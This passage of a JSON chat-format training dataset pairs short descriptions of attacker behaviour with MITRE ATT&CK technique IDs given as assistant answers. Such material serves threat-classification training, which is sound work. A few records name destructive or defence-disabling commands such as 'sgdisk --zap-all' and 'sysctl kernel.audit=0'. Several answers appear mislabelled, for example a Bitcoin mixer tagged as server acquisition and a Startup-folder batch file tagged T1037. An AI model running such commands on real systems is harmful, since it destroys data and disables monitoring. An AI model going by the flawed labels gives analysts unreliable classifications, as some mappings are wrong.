                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious DLL is set as the default network provider, enabling the attacker to alter authentication requests."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker manipulates ARP tables on a switch to cause traffic redirection to a sniffing device."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT observed a trojan that scans the system for encrypted password store files and attempts offline decryption."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware disables MFA prompts by modifying the authentication flow to skip the verification step."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During execution, the malware renames its modules with a leading dot and moves them into a hidden folder to evade endpoint monitoring."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queried public WHOIS records to discover the registration details of target domains before launching phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves injecting a DLL via thread hijacking, using QueueUserAPC to queue malicious code to a target thread's APC queue."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During execution, the malware calls the native system call NtSetInformationThread to hide its thread from debuggers."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs \"net user /add\" with a randomized username to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Script removes the command history by overwriting the HISTFILE with an empty file."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a Bash command \"cat /etc/os-release\" the adversary obtains the Linux distribution name and version on the victim host."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a Bitcoin mixer to launder cryptocurrency proceeds from ransomware attacks."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system runs `mshta.exe` with a UNC path to an attacker‑controlled HTA, leading to remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group distributes a seemingly innocuous HTML email that contains an obfuscated iframe loading a remote payload, leading to command execution."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware outbreak involves a self-replicating worm that spreads across systems and networks, escalating its privileges wherever possible."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses the ‘wmic logicaldisk get name,size,freespace’ command to discover disk partitions and free space."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor communicates via an encrypted channel using a symmetric cipher derived from a shared secret."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware component scans for accessible shared drives, copies data, and sends it to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder steals private keys associated with code signing certificates from an infected build server."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script accesses the .ssh/authorized_keys file to harvest SSH public keys for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign harvested credentials from a Docker Swarm secret store to propagate laterally."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware adds dead letters to its command stream, making it harder to parse the true commands."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employed \"cmd.exe\" to launch a reverse shell connecting back to the attacker’s IP address."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker group assembles a toolkit of exploits for multiple software products to expand their capability set."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a method where a benign process is started, its memory is unmapped, the attacker writes malicious code into the freed space, and finally resumes the process to run the injected code."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves calling OpenThread, then QueueUserAPC to deliver malicious code to another process."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvest usernames and passwords posted in Teams conversations and exfiltrate the data via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary queries public certificate transparency logs to locate valid SSL/TLS certificates for a target domain."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker allocates memory in a legitimate GUI process's extra window and writes malicious shellcode there before creating a new window to execute it."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker places a disguised malicious driver on a USB flash drive, which, once installed, allows bidirectional data flow between the target and the attacker."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies BIOS settings to turn off Intel SGX, effectively disabling secure enclaves used for encryption."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage Shodan API queries to discover internet-exposed devices with default credentials."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script registers a low-privilege service that escalates to SYSTEM via token impersonation."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit used VNC to remotely execute code on the victim's workstation."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary harvests CDN configuration files from open repositories to locate origin server IPs and associated services used by the target."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits DLL search order by dropping a crafted DLL into a program's working directory, which is then automatically loaded."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a remote code execution vulnerability in a web server to dump password hashes from the underlying operating system."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through DLL search order hijacking, the attacker causes the application to load a malicious module before the legitimate one."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries public certificate transparency logs to locate TLS certificates associated with target domains."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leveraged the Windows Task Scheduler to run a script that dumps LSASS memory."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries copy confidential documents onto a USB flash drive and leave it in the target’s office for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder parses the 'TrustedDomainInformation' structures from memory to discover domain trust data."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code creates a mail rule that forwards a copy of every incoming email to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage group creates a counterfeit vendor portal to harvest information about the target's business relationships and joint projects."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code overwrites the Registry key that controls System Restore activation, turning it off."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit insecure Group Policy Preferences to extract passwords for local admin accounts."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploited the container runtime by issuing \"docker exec -it\" to obtain an interactive shell in a vulnerable container."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the macOS \"security\" CLI to dump all saved passwords from the user’s Keychain database."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes the Linux command \"stat\" on files to gather metadata and discover hidden or system files across the filesystem."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encrypts harvested data with an asymmetric key pair and embeds the ciphertext in outbound SMTP messages, using the mail server as a covert exfil channel."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses standard data encoding, such as Base64 or UTF-8, to hide command and control traffic."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware encrypts all files containing sensitive keywords (e.g., 'password', 'confidential') before demanding a ransom."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script invokes \"sgdisk --zap-all\" to remove all partition table data from the target drive."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary crafts a malicious MMC configuration file and invokes mmc.exe to load it, achieving code execution via the system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach involves adding a batch file to the %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup directory."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a known flaw in a web application firewall, the intruder uploaded a backdoor that provided persistent access and new exploitation tools."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses Docker Compose files to automatically deploy multiple malicious containers on the target host."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tool enumerates cloud IAM groups across multiple tenants to locate high-value groups."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uploads a crafted XSL file to a web server, which is later loaded by a vulnerable XML parser to execute arbitrary code on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conducting reconnaissance on an application's API to identify potential vulnerabilities and weaknesses."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors execute malicious payloads by loading a crafted DLL through mmc.exe, using it as a proxy for their code."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used compromised credentials to alter the cloud firewall policies, allowing unrestricted inbound traffic to the compromised virtual machines."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An observed campaign encodes configuration files with Hex encoding prior to transmission via FTP."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects code into the existing system binary by modifying its image on disk to bypass security checks."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set places a copy of its command-and-control client onto all detected removable media to facilitate lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code monitors clipboard contents and logs keystrokes, automatically sending the captured data to the attacker’s C2."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses sysctl to set kernel.audit=0, effectively disabling the Linux audit subsystem."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion toolkit includes a routine that disables hibernation and fast startup features by altering the system's power policy, thereby reducing the chance of the device rebooting into a clean state."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary manipulates the device's boot configuration to fetch a malicious image from a TFTP server."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat utilizes Group Policy Objects to set the firewall state to 'Disabled' across the domain."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a crafted XSLT to trigger a privilege escalation in an XML parser running with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs a man‑in‑the‑middle attack on the authentication API, altering the MFA challenge response to always succeed."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the Windows Registry key HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall to harvest a list of installed programs."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages PowerShell's Get-WmiObject Win32_SystemDriver to list driver information."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the 'ifconfig' command, the intruder enumerates active network adapters and their IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was repackaged using a custom packer that erased all original file hashes and signatures to hide its provenance."
            },
            {
                "role": "assistant",
